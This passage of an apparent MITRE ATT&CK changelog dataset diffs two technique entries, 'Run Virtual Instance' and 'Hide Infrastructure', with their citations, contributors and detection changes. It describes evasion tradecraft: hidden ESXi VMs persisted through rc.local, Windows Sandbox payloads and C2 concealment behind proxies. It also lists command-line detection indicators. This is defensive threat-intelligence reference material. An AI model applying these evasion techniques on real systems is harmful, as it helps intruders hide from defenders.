"https://www.welivesecurity.com/en/eset-research/operation-akairyu-mirrorface-invites-europe-expo-2025-revives-anel-backdoor/" + }, + { + "source_name": "vNinja Rogue VMs 2024", + "description": "Christian Mohn. (2024, November 11). Beware Of The Rogue VMs!. Retrieved March 26, 2025.", + "url": "https://vninja.net/2024/11/11/beware-of-the-rogue-vms/" + }, + { + "source_name": "SingHealth Breach Jan 2019", + "description": "Committee of Inquiry into the Cyber Attack on SingHealth. (2019, January 10). Public Report of the Committee of Inquiry into the Cyber Attack on Singapore Health Services Private Limited's Patient Database. Retrieved June 29, 2020.", + "url": "https://www.mci.gov.sg/-/media/mcicorp/doc/report-of-the-coi-into-the-cyber-attack-on-singhealth-10-jan-2019.ashx" + }, + { + "source_name": "CyberCX Akira Ransomware", + "description": "CyberCX. (2023, September 15). Weaponising VMs to bypass EDR \u2013 Akira ransomware. Retrieved April 4, 2025.", + "url": "https://cybercx.com.au/blog/akira-ransomware/" + }, + { + "source_name": "Securonix CronTrap 2024", + "description": "Den Iuzvyk and Tim Peck. (2024, November 4). CRON#TRAP: Emulated Linux Environments as the Latest Tactic in Malware Staging. Retrieved May 22, 2025.", + "url": "https://www.securonix.com/blog/crontrap-emulated-linux-environments-as-the-latest-tactic-in-malware-staging/" + }, + { + "source_name": "Shadowbunny VM Defense Evasion", + "description": "Johann Rehberger. (2020, September 23). Beware of the Shadowbunny - Using virtual machines to persist and evade detections. Retrieved September 22, 2021.", + "url": "https://embracethered.com/blog/posts/2020/shadowbunny-virtual-machine-red-teaming-technique/" + }, + { + "source_name": "MITRE VMware Abuse 2024", + "description": "Lex Crumpton. (2024, May 22). Infiltrating Defenses: Abusing VMware in MITRE\u2019s Cyber Intrusion. Retrieved March 26, 2025.", + "url": "https://medium.com/mitre-engenuity/infiltrating-defenses-abusing-vmware-in-mitres-cyber-intrusion-4ea647b83f5b" + }, + { + "source_name": "Sophos Ragnar May 2020", + "description": "SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020.", + "url": "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Johann Rehberger", + "Janantha Marasinghe", + "Menachem Shafran, XM Cyber", + "Enis Aksu", + "Satoshi Kamekawa, ITOCHU Cyber & Intelligence Inc.", + "Yusuke Niwa, ITOCHU Cyber & Intelligence Inc.", + "Shuhei Sasada, ITOCHU Cyber & Intelligence Inc.", + "Jiraput Thamsongkrah", + "Purinut Wongwaiwuttiguldej", + "Natthawut Saexu" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "ESXi" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Windows Registry: Windows Registry Key Modification\", \"Image: Image Metadata\", \"Service: Service Creation\", \"Process: Process Creation\", \"File: File Creation\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:15.607000+00:00\", \"old_value\": \"2025-04-15 19:58:59.831000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may carry out malicious operations using a virtual instance to avoid detection. A wide variety of virtualization technologies exist that allow for the emulation of a computer or computing environment. By running malicious code inside of a virtual instance, adversaries can hide artifacts associated with their behavior from security tools that are unable to monitor activity inside the virtual instance.(Citation: CyberCX Akira Ransomware) Additionally, depending on the virtual networking implementation (ex: bridged adapter), network traffic generated by the virtual instance can be difficult to trace back to the compromised host as the IP address and hostname might not match known values.(Citation: SingHealth Breach Jan 2019)\\n\\nAdversaries may utilize native support for virtualization (ex: Hyper-V), deploy lightweight emulators (ex: QEMU), or drop the necessary files to run a virtual instance (ex: VirtualBox binaries).(Citation: Securonix CronTrap 2024) After running a virtual instance, adversaries may create a shared folder between the guest and host with permissions that enable the virtual instance to interact with the host file system.(Citation: Sophos Ragnar May 2020)\\n\\nThreat actors may also leverage temporary virtualized environments such as the Windows Sandbox, which supports the use of `.wsb` configuration files for defining execution parameters. For example, the `` property supports the creation of a shared folder, while the `` property allows the specification of a payload.(Citation: ESET MirrorFace 2025)\\n\\nIn VMWare environments, adversaries may leverage the vCenter console to create new virtual machines. However, they may also create virtual machines directly on ESXi servers by running a valid `.vmx` file with the `/bin/vmx` utility. Adding this command to `/etc/rc.local.d/local.sh` (i.e., [RC Scripts](https://attack.mitre.org/techniques/T1037/004)) will cause the VM to persistently restart.(Citation: vNinja Rogue VMs 2024) Creating a VM this way prevents it from appearing in the vCenter console or in the output to the `vim-cmd vmsvc/getallvms` command on the ESXi server, thereby hiding it from typical administrative activities.(Citation: MITRE VMware Abuse 2024)\", \"old_value\": \"Adversaries may carry out malicious operations using a virtual instance to avoid detection. A wide variety of virtualization technologies exist that allow for the emulation of a computer or computing environment. By running malicious code inside of a virtual instance, adversaries can hide artifacts associated with their behavior from security tools that are unable to monitor activity inside the virtual instance.(Citation: CyberCX Akira Ransomware) Additionally, depending on the virtual networking implementation (ex: bridged adapter), network traffic generated by the virtual instance can be difficult to trace back to the compromised host as the IP address and hostname might not match known values.(Citation: SingHealth Breach Jan 2019)\\n\\nAdversaries may utilize native support for virtualization (ex: Hyper-V) or drop the necessary files to run a virtual instance (ex: VirtualBox binaries). After running a virtual instance, adversaries may create a shared folder between the guest and host with permissions that enable the virtual instance to interact with the host file system.(Citation: Sophos Ragnar May 2020)\\n\\nIn VMWare environments, adversaries may leverage the vCenter console to create new virtual machines. However, they may also create virtual machines directly on ESXi servers by running a valid `.vmx` file with the `/bin/vmx` utility. Adding this command to `/etc/rc.local.d/local.sh` (i.e., [RC Scripts](https://attack.mitre.org/techniques/T1037/004)) will cause the VM to persistently restart.(Citation: vNinja Rogue VMs 2024) Creating a VM this way prevents it from appearing in the vCenter console or in the output to the `vim-cmd vmsvc/getallvms` command on the ESXi server, thereby hiding it from typical administrative activities.(Citation: MITRE VMware Abuse 2024)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +1,7 @@\\n Adversaries may carry out malicious operations using a virtual instance to avoid detection. A wide variety of virtualization technologies exist that allow for the emulation of a computer or computing environment. By running malicious code inside of a virtual instance, adversaries can hide artifacts associated with their behavior from security tools that are unable to monitor activity inside the virtual instance.(Citation: CyberCX Akira Ransomware) Additionally, depending on the virtual networking implementation (ex: bridged adapter), network traffic generated by the virtual instance can be difficult to trace back to the compromised host as the IP address and hostname might not match known values.(Citation: SingHealth Breach Jan 2019)\\n \\n-Adversaries may utilize native support for virtualization (ex: Hyper-V) or drop the necessary files to run a virtual instance (ex: VirtualBox binaries). After running a virtual instance, adversaries may create a shared folder between the guest and host with permissions that enable the virtual instance to interact with the host file system.(Citation: Sophos Ragnar May 2020)\\n+Adversaries may utilize native support for virtualization (ex: Hyper-V), deploy lightweight emulators (ex: QEMU), or drop the necessary files to run a virtual instance (ex: VirtualBox binaries).(Citation: Securonix CronTrap 2024) After running a virtual instance, adversaries may create a shared folder between the guest and host with permissions that enable the virtual instance to interact with the host file system.(Citation: Sophos Ragnar May 2020)\\n+\\n+Threat actors may also leverage temporary virtualized environments such as the Windows Sandbox, which supports the use of `.wsb` configuration files for defining execution parameters. For example, the `` property supports the creation of a shared folder, while the `` property allows the specification of a payload.(Citation: ESET MirrorFace 2025)\\n \\n In VMWare environments, adversaries may leverage the vCenter console to create new virtual machines. However, they may also create virtual machines directly on ESXi servers by running a valid `.vmx` file with the `/bin/vmx` utility. Adding this command to `/etc/rc.local.d/local.sh` (i.e., [RC Scripts](https://attack.mitre.org/techniques/T1037/004)) will cause the VM to persistently restart.(Citation: vNinja Rogue VMs 2024) Creating a VM this way prevents it from appearing in the vCenter console or in the output to the `vim-cmd vmsvc/getallvms` command on the ESXi server, thereby hiding it from typical administrative activities.(Citation: MITRE VMware Abuse 2024)\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Consider monitoring for files and processes associated with running a virtual instance, such as binary files associated with common virtualization technologies (ex: VirtualBox, VMware, QEMU, Hyper-V). Consider monitoring the size of virtual machines running on the system. Adversaries may create virtual images which are smaller than those of typical virtual machines.(Citation: Shadowbunny VM Defense Evasion) Network adapter information may also be helpful in detecting the use of virtual instances.\\n\\nConsider monitoring for process command-line arguments that may be atypical for benign use of virtualization software. Usage of virtualization binaries or command-line arguments associated with running a silent installation may be especially suspect (ex. -silent, -ignore-reboot), as well as those associated with running a headless (in the background with no UI) virtual instance (ex. VBoxManage startvm $VM --type headless).(Citation: Shadowbunny VM Defense Evasion) Similarly, monitoring command line arguments which suppress notifications may highlight potentially malicious activity (ex. VBoxManage.exe setextradata global GUI/SuppressMessages \\\"all\\\").\\n\\nMonitor for commands which enable hypervisors such as Hyper-V. If virtualization software is installed by the adversary, the Registry may provide detection opportunities. Consider monitoring for [Windows Service](https://attack.mitre.org/techniques/T1543/003), with respect to virtualization software. \\n\\nBenign usage of virtualization technology is common in enterprise environments, data and events should not be viewed in isolation, but as part of a chain of behavior.\", \"diff\": \"--- \\n+++ \\n@@ -1,7 +0,0 @@\\n-Consider monitoring for files and processes associated with running a virtual instance, such as binary files associated with common virtualization technologies (ex: VirtualBox, VMware, QEMU, Hyper-V). Consider monitoring the size of virtual machines running on the system. Adversaries may create virtual images which are smaller than those of typical virtual machines.(Citation: Shadowbunny VM Defense Evasion) Network adapter information may also be helpful in detecting the use of virtual instances.\\n-\\n-Consider monitoring for process command-line arguments that may be atypical for benign use of virtualization software. Usage of virtualization binaries or command-line arguments associated with running a silent installation may be especially suspect (ex. -silent, -ignore-reboot), as well as those associated with running a headless (in the background with no UI) virtual instance (ex. VBoxManage startvm $VM --type headless).(Citation: Shadowbunny VM Defense Evasion) Similarly, monitoring command line arguments which suppress notifications may highlight potentially malicious activity (ex. VBoxManage.exe setextradata global GUI/SuppressMessages \\\"all\\\").\\n-\\n-Monitor for commands which enable hypervisors such as Hyper-V. If virtualization software is installed by the adversary, the Registry may provide detection opportunities. Consider monitoring for [Windows Service](https://attack.mitre.org/techniques/T1543/003), with respect to virtualization software. \\n-\\n-Benign usage of virtualization technology is common in enterprise environments, data and events should not be viewed in isolation, but as part of a chain of behavior.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}}, \"iterable_item_added\": {\"root['external_references'][1]\": {\"source_name\": \"ESET MirrorFace 2025\", \"description\": \" Dominik Breitenbacher. (2025, March 18). Operation AkaiRy\\u016b: MirrorFace invites Europe to Expo 2025 and revives ANEL backdoor. Retrieved May 22, 2025.\", \"url\": \"https://www.welivesecurity.com/en/eset-research/operation-akairyu-mirrorface-invites-europe-expo-2025-revives-anel-backdoor/\"}, \"root['external_references'][5]\": {\"source_name\": \"Securonix CronTrap 2024\", \"description\": \"Den Iuzvyk and Tim Peck. (2024, November 4). CRON#TRAP: Emulated Linux Environments as the Latest Tactic in Malware Staging. Retrieved May 22, 2025.\", \"url\": \"https://www.securonix.com/blog/crontrap-emulated-linux-environments-as-the-latest-tactic-in-malware-staging/\"}, \"root['x_mitre_contributors'][3]\": \"Enis Aksu\", \"root['x_mitre_contributors'][4]\": \"Satoshi Kamekawa, ITOCHU Cyber & Intelligence Inc.\", \"root['x_mitre_contributors'][5]\": \"Yusuke Niwa, ITOCHU Cyber & Intelligence Inc.\", \"root['x_mitre_contributors'][6]\": \"Shuhei Sasada, ITOCHU Cyber & Intelligence Inc.\", \"root['x_mitre_contributors'][7]\": \"Jiraput Thamsongkrah\", \"root['x_mitre_contributors'][8]\": \"Purinut Wongwaiwuttiguldej\", \"root['x_mitre_contributors'][9]\": \"Natthawut Saexu\"}}", + "previous_version": "1.2", + "version_change": "1.2 \u2192 1.3", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may carry out malicious operations using a virtut1Adversaries may carry out malicious operations using a virtu
>al instance to avoid detection. A wide variety of virtualiza>al instance to avoid detection. A wide variety of virtualiza
>tion technologies exist that allow for the emulation of a co>tion technologies exist that allow for the emulation of a co
>mputer or computing environment. By running malicious code i>mputer or computing environment. By running malicious code i
>nside of a virtual instance, adversaries can hide artifacts >nside of a virtual instance, adversaries can hide artifacts 
>associated with their behavior from security tools that are >associated with their behavior from security tools that are 
>unable to monitor activity inside the virtual instance.(Cita>unable to monitor activity inside the virtual instance.(Cita
>tion: CyberCX Akira Ransomware) Additionally, depending on t>tion: CyberCX Akira Ransomware) Additionally, depending on t
>he virtual networking implementation (ex: bridged adapter), >he virtual networking implementation (ex: bridged adapter), 
>network traffic generated by the virtual instance can be dif>network traffic generated by the virtual instance can be dif
>ficult to trace back to the compromised host as the IP addre>ficult to trace back to the compromised host as the IP addre
>ss and hostname might not match known values.(Citation: Sing>ss and hostname might not match known values.(Citation: Sing
>Health Breach Jan 2019)  Adversaries may utilize native supp>Health Breach Jan 2019)  Adversaries may utilize native supp
>ort for virtualization (ex: Hyper-V) or drop the necessary f>ort for virtualization (ex: Hyper-V), deploy lightweight emu
>iles to run a virtual instance (ex: VirtualBox binaries). Af>lators (ex: QEMU), or drop the necessary files to run a virt
>ter running a virtual instance, adversaries may create a sha>ual instance (ex: VirtualBox binaries).(Citation: Securonix 
>red folder between the guest and host with permissions that >CronTrap 2024) After running a virtual instance, adversaries
>enable the virtual instance to interact with the host file s> may create a shared folder between the guest and host with 
>ystem.(Citation: Sophos Ragnar May 2020)  In VMWare environm>permissions that enable the virtual instance to interact wit
>ents, adversaries may leverage the vCenter console to create>h the host file system.(Citation: Sophos Ragnar May 2020)  T
> new virtual machines. However, they may also create virtual>hreat actors may also leverage temporary virtualized environ
> machines directly on ESXi servers by running a valid `.vmx`>ments such as the Windows Sandbox, which supports the use of
> file with the `/bin/vmx` utility. Adding this command to `/> `.wsb` configuration files for defining execution parameter
>etc/rc.local.d/local.sh` (i.e., [RC Scripts](https://attack.>s. For example, the `<MappedFolder>` property supports the c
>mitre.org/techniques/T1037/004)) will cause the VM to persis>reation of a shared folder, while the `<LogonCommand>` prope
>tently restart.(Citation: vNinja Rogue VMs 2024) Creating a >rty allows the specification of a payload.(Citation: ESET Mi
>VM this way prevents it from appearing in the vCenter consol>rrorFace 2025)  In VMWare environments, adversaries may leve
>e or in the output to the `vim-cmd vmsvc/getallvms` command >rage the vCenter console to create new virtual machines. How
>on the ESXi server, thereby hiding it from typical administr>ever, they may also create virtual machines directly on ESXi
>ative activities.(Citation: MITRE VMware Abuse 2024)> servers by running a valid `.vmx` file with the `/bin/vmx` 
 >utility. Adding this command to `/etc/rc.local.d/local.sh` (
 >i.e., [RC Scripts](https://attack.mitre.org/techniques/T1037
 >/004)) will cause the VM to persistently restart.(Citation: 
 >vNinja Rogue VMs 2024) Creating a VM this way prevents it fr
 >om appearing in the vCenter console or in the output to the 
 >`vim-cmd vmsvc/getallvms` command on the ESXi server, thereb
 >y hiding it from typical administrative activities.(Citation
 >: MITRE VMware Abuse 2024)
", + "changelog_mitigations": { + "shared": [ + "M1038: Execution Prevention", + "M1042: Disable or Remove Feature or Program", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0007: Image (Image Metadata)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0019: Service (Service Creation)", + "DS0022: File (File Creation)", + "DS0024: Windows Registry (Windows Registry Key Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0321: Detection Strategy for Hidden Virtual Instance Execution" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--eb897572-8979-4242-a089-56f294f4c91d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-02-13 17:00:00.175000+00:00", + "modified": "2025-10-22 03:57:22.646000+00:00", + "name": "Hide Infrastructure", + "description": "Adversaries may manipulate network traffic in order to hide and evade detection of their C2 infrastructure. This can be accomplished by identifying and filtering traffic from defensive tools,(Citation: TA571) masking malicious domains to obfuscate the true destination from both automated scanning tools and security researchers,(Citation: Schema-abuse)(Citation: Facad1ng)(Citation: Browser-updates) and otherwise hiding malicious artifacts to delay discovery and prolong the effectiveness of adversary infrastructure that could otherwise be identified, blocked, or taken down entirely.\n\nC2 networks may include the use of [Proxy](https://attack.mitre.org/techniques/T1090) or VPNs to disguise IP addresses, which can allow adversaries to blend in with normal network traffic and bypass conditional access policies or anti-abuse protections. For example, an adversary may use a virtual private cloud to spoof their IP address to closer align with a victim's IP address ranges. This may also bypass security measures relying on geolocation of the source IP address.(Citation: sysdig)(Citation: Orange Residential Proxies)\n\nAdversaries may also attempt to filter network traffic in order to evade defensive tools in numerous ways, including blocking/redirecting common incident responder or security appliance user agents.(Citation: mod_rewrite)(Citation: SocGholish-update) Filtering traffic based on IP and geo-fencing may also avoid automated sandboxing or researcher activity (i.e., [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497)).(Citation: TA571)(Citation: mod_rewrite)\n\nHiding C2 infrastructure may also be supported by [Resource Development](https://attack.mitre.org/tactics/TA0042) activities such as [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) and [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584). For example, using widely trusted hosting services or domains such as prominent URL shortening providers or marketing services for C2 networks may enable adversaries to present benign content that later redirects victims to malicious web pages or infrastructure once specific conditions are met.(Citation: StarBlizzard)(Citation: QR-cofense)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1665", + "external_id": "T1665" + }, + { + "source_name": "SocGholish-update", + "description": "Andrew Northern. (2022, November 22). SocGholish, a very real threat from a very fake update. Retrieved February 13, 2024.", + "url": "https://www.proofpoint.com/us/blog/threat-insight/part-1-socgholish-very-real-threat-very-fake-update" + }, + { + "source_name": "TA571", + "description": "Axel F, Selena Larson. (2023, October 30). TA571 Delivers IcedID Forked Loader. Retrieved February 13, 2024.", + "url": "https://www.proofpoint.com/us/blog/threat-insight/security-brief-ta571-delivers-icedid-forked-loader" + }, + { + "source_name": "mod_rewrite", + "description": "Bluescreenofjeff.com. (2015, April 12). Combatting Incident Responders with Apache mod_rewrite. Retrieved February 13, 2024.", + "url": "https://bluescreenofjeff.com/2016-04-12-combatting-incident-responders-with-apache-mod_rewrite/" + }, + { + "source_name": "Browser-updates", + "description": "Dusty Miller. (2023, October 17). Are You Sure Your Browser is Up to Date? The Current Landscape of Fake Browser Updates . Retrieved February 13, 2024.", + "url": "https://www.proofpoint.com/us/blog/threat-insight/are-you-sure-your-browser-date-current-landscape-fake-browser-updates" + }, + { + "source_name": "StarBlizzard", + "description": "Microsoft Threat Intelligence. (2023, December 7). Star Blizzard increases sophistication and evasion in ongoing attacks. Retrieved February 13, 2024.", + "url": "https://www.microsoft.com/en-us/security/blog/2023/12/07/star-blizzard-increases-sophistication-and-evasion-in-ongoing-attacks/" + }, + { + "source_name": "QR-cofense", + "description": "Nathaniel Raymond. (2023, August 16). Major Energy Company Targeted in Large QR Code Phishing Campaign. Retrieved February 13, 2024.", + "url": "https://cofense.com/blog/major-energy-company-targeted-in-large-qr-code-campaign/" + }, + { + "source_name": "Schema-abuse", + "description": "Nick Simonian. (2023, May 22). Don't @ Me: URL Obfuscation Through Schema Abuse. Retrieved February 13, 2024.", + "url": "https://www.mandiant.com/resources/blog/url-obfuscation-schema-abuse" + }, + { + "source_name": "Orange Residential Proxies", + "description": "Orange Cyberdefense. (2024, March 14). Unveiling the depths of residential proxies providers. Retrieved April 11, 2024.", + "url": "https://www.orangecyberdefense.com/global/blog/research/residential-proxies" + }, + { + "source_name": "Facad1ng", + "description": "Spyboy. (2023). Facad1ng. Retrieved February 13, 2024.", + "url": "https://github.com/spyboy-productions/Facad1ng" + }, + { + "source_name": "sysdig", + "description": "Sysdig. (2023). Sysdig Global Cloud Threat Report. Retrieved March 1, 2024.", + "url": "https://sysdig.com/content/c/pf-2023-global-cloud-threat-report?x=u_WFRi&xs=524303#page=1" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Diyar Saadi Ali", + "Eliav Livneh", + "Hen Porcilan", + "Matt Mullins" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "ESXi", + "Linux", + "Network Devices", + "Windows", + "macOS" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Internet Scan: Response Metadata\", \"Network Traffic: Network Traffic Content\", \"Domain Name: Domain Registration\", \"Internet Scan: Response Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-22 03:57:22.646000+00:00\", \"old_value\": \"2025-04-15 19:59:18.948000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may manipulate network traffic in order to hide and evade detection of their C2 infrastructure. This can be accomplished by identifying and filtering traffic from defensive tools,(Citation: TA571) masking malicious domains to obfuscate the true destination from both automated scanning tools and security researchers,(Citation: Schema-abuse)(Citation: Facad1ng)(Citation: Browser-updates) and otherwise hiding malicious artifacts to delay discovery and prolong the effectiveness of adversary infrastructure that could otherwise be identified, blocked, or taken down entirely.\\n\\nC2 networks may include the use of [Proxy](https://attack.mitre.org/techniques/T1090) or VPNs to disguise IP addresses, which can allow adversaries to blend in with normal network traffic and bypass conditional access policies or anti-abuse protections. For example, an adversary may use a virtual private cloud to spoof their IP address to closer align with a victim's IP address ranges. This may also bypass security measures relying on geolocation of the source IP address.(Citation: sysdig)(Citation: Orange Residential Proxies)\\n\\nAdversaries may also attempt to filter network traffic in order to evade defensive tools in numerous ways, including blocking/redirecting common incident responder or security appliance user agents.(Citation: mod_rewrite)(Citation: SocGholish-update) Filtering traffic based on IP and geo-fencing may also avoid automated sandboxing or researcher activity (i.e., [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497)).(Citation: TA571)(Citation: mod_rewrite)\\n\\nHiding C2 infrastructure may also be supported by [Resource Development](https://attack.mitre.org/tactics/TA0042) activities such as [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) and [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584). For example, using widely trusted hosting services or domains such as prominent URL shortening providers or marketing services for C2 networks may enable adversaries to present benign content that later redirects victims to malicious web pages or infrastructure once specific conditions are met.(Citation: StarBlizzard)(Citation: QR-cofense)\", \"old_value\": \"Adversaries may manipulate network traffic in order to hide and evade detection of their C2 infrastructure. This can be accomplished in various ways including by identifying and filtering traffic from defensive tools,(Citation: TA571) masking malicious domains to obfuscate the true destination from both automated scanning tools and security researchers,(Citation: Schema-abuse)(Citation: Facad1ng)(Citation: Browser-updates) and otherwise hiding malicious artifacts to delay discovery and prolong the effectiveness of adversary infrastructure that could otherwise be identified, blocked, or taken down entirely.\\n\\nC2 networks may include the use of [Proxy](https://attack.mitre.org/techniques/T1090) or VPNs to disguise IP addresses, which can allow adversaries to blend in with normal network traffic and bypass conditional access policies or anti-abuse protections. For example, an adversary may use a virtual private cloud to spoof their IP address to closer align with a victim's IP address ranges. This may also bypass security measures relying on geolocation of the source IP address.(Citation: sysdig)(Citation: Orange Residential Proxies)\\n\\nAdversaries may also attempt to filter network traffic in order to evade defensive tools in numerous ways, including blocking/redirecting common incident responder or security appliance user agents.(Citation: mod_rewrite)(Citation: SocGholish-update) Filtering traffic based on IP and geo-fencing may also avoid automated sandboxing or researcher activity (i.e., [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497)).(Citation: TA571)(Citation: mod_rewrite)\\n\\nHiding C2 infrastructure may also be supported by [Resource Development](https://attack.mitre.org/tactics/TA0042) activities such as [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) and [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584). For example, using widely trusted hosting services or domains such as prominent URL shortening providers or marketing services for C2 networks may enable adversaries to present benign content that later redirects victims to malicious web pages or infrastructure once specific conditions are met.(Citation: StarBlizzard)(Citation: QR-cofense)\", \"diff\": \"--- \\n+++ \\n@@ -1,4 +1,4 @@\\n-Adversaries may manipulate network traffic in order to hide and evade detection of their C2 infrastructure. This can be accomplished in various ways including by identifying and filtering traffic from defensive tools,(Citation: TA571) masking malicious domains to obfuscate the true destination from both automated scanning tools and security researchers,(Citation: Schema-abuse)(Citation: Facad1ng)(Citation: Browser-updates) and otherwise hiding malicious artifacts to delay discovery and prolong the effectiveness of adversary infrastructure that could otherwise be identified, blocked, or taken down entirely.\\n+Adversaries may manipulate network traffic in order to hide and evade detection of their C2 infrastructure. This can be accomplished by identifying and filtering traffic from defensive tools,(Citation: TA571) masking malicious domains to obfuscate the true destination from both automated scanning tools and security researchers,(Citation: Schema-abuse)(Citation: Facad1ng)(Citation: Browser-updates) and otherwise hiding malicious artifacts to delay discovery and prolong the effectiveness of adversary infrastructure that could otherwise be identified, blocked, or taken down entirely.\\n \\n C2 networks may include the use of [Proxy](https://attack.mitre.org/techniques/T1090) or VPNs to disguise IP addresses, which can allow adversaries to blend in with normal network traffic and bypass conditional access policies or anti-abuse protections. For example, an adversary may use a virtual private cloud to spoof their IP address to closer align with a victim's IP address ranges. This may also bypass security measures relying on geolocation of the source IP address.(Citation: sysdig)(Citation: Orange Residential Proxies)\\n \"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 1.2", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may manipulate network traffic in order to hide t1Adversaries may manipulate network traffic in order to hide 
>and evade detection of their C2 infrastructure. This can be >and evade detection of their C2 infrastructure. This can be 
>accomplished in various ways including by identifying and fi>accomplished by identifying and filtering traffic from defen
>ltering traffic from defensive tools,(Citation: TA571) maski>sive tools,(Citation: TA571) masking malicious domains to ob
>ng malicious domains to obfuscate the true destination from >fuscate the true destination from both automated scanning to
>both automated scanning tools and security researchers,(Cita>ols and security researchers,(Citation: Schema-abuse)(Citati
>tion: Schema-abuse)(Citation: Facad1ng)(Citation: Browser-up>on: Facad1ng)(Citation: Browser-updates) and otherwise hidin
>dates) and otherwise hiding malicious artifacts to delay dis>g malicious artifacts to delay discovery and prolong the eff
>covery and prolong the effectiveness of adversary infrastruc>ectiveness of adversary infrastructure that could otherwise 
>ture that could otherwise be identified, blocked, or taken d>be identified, blocked, or taken down entirely.  C2 networks
>own entirely.  C2 networks may include the use of [Proxy](ht> may include the use of [Proxy](https://attack.mitre.org/tec
>tps://attack.mitre.org/techniques/T1090) or VPNs to disguise>hniques/T1090) or VPNs to disguise IP addresses, which can a
> IP addresses, which can allow adversaries to blend in with >llow adversaries to blend in with normal network traffic and
>normal network traffic and bypass conditional access policie> bypass conditional access policies or anti-abuse protection
>s or anti-abuse protections. For example, an adversary may u>s. For example, an adversary may use a virtual private cloud
>se a virtual private cloud to spoof their IP address to clos> to spoof their IP address to closer align with a victim's I
>er align with a victim's IP address ranges. This may also by>P address ranges. This may also bypass security measures rel
>pass security measures relying on geolocation of the source >ying on geolocation of the source IP address.(Citation: sysd
>IP address.(Citation: sysdig)(Citation: Orange Residential P>ig)(Citation: Orange Residential Proxies)  Adversaries may a
>roxies)  Adversaries may also attempt to filter network traf>lso attempt to filter network traffic in order to evade defe
>fic in order to evade defensive tools in numerous ways, incl>nsive tools in numerous ways, including blocking/redirecting
>uding blocking/redirecting common incident responder or secu> common incident responder or security appliance user agents
>rity appliance user agents.(Citation: mod_rewrite)(Citation:>.(Citation: mod_rewrite)(Citation: SocGholish-update) Filter
> SocGholish-update) Filtering traffic based on IP and geo-fe>ing traffic based on IP and geo-fencing may also avoid autom
>ncing may also avoid automated sandboxing or researcher acti>ated sandboxing or researcher activity (i.e., [Virtualizatio
>vity (i.e., [Virtualization/Sandbox Evasion](https://attack.>n/Sandbox Evasion](https://attack.mitre.org/techniques/T1497
>mitre.org/techniques/T1497)).(Citation: TA571)(Citation: mod>)).(Citation: TA571)(Citation: mod_rewrite)  Hiding C2 infra
>_rewrite)  Hiding C2 infrastructure may also be supported by>structure may also be supported by [Resource Development](ht
> [Resource Development](https://attack.mitre.org/tactics/TA0>tps://attack.mitre.org/tactics/TA0042) activities such as [A
>042) activities such as [Acquire Infrastructure](https://att>cquire Infrastructure](https://attack.mitre.org/techniques/T
>ack.mitre.org/techniques/T1583) and [Compromise Infrastructu>1583) and [Compromise Infrastructure](https://attack.mitre.o
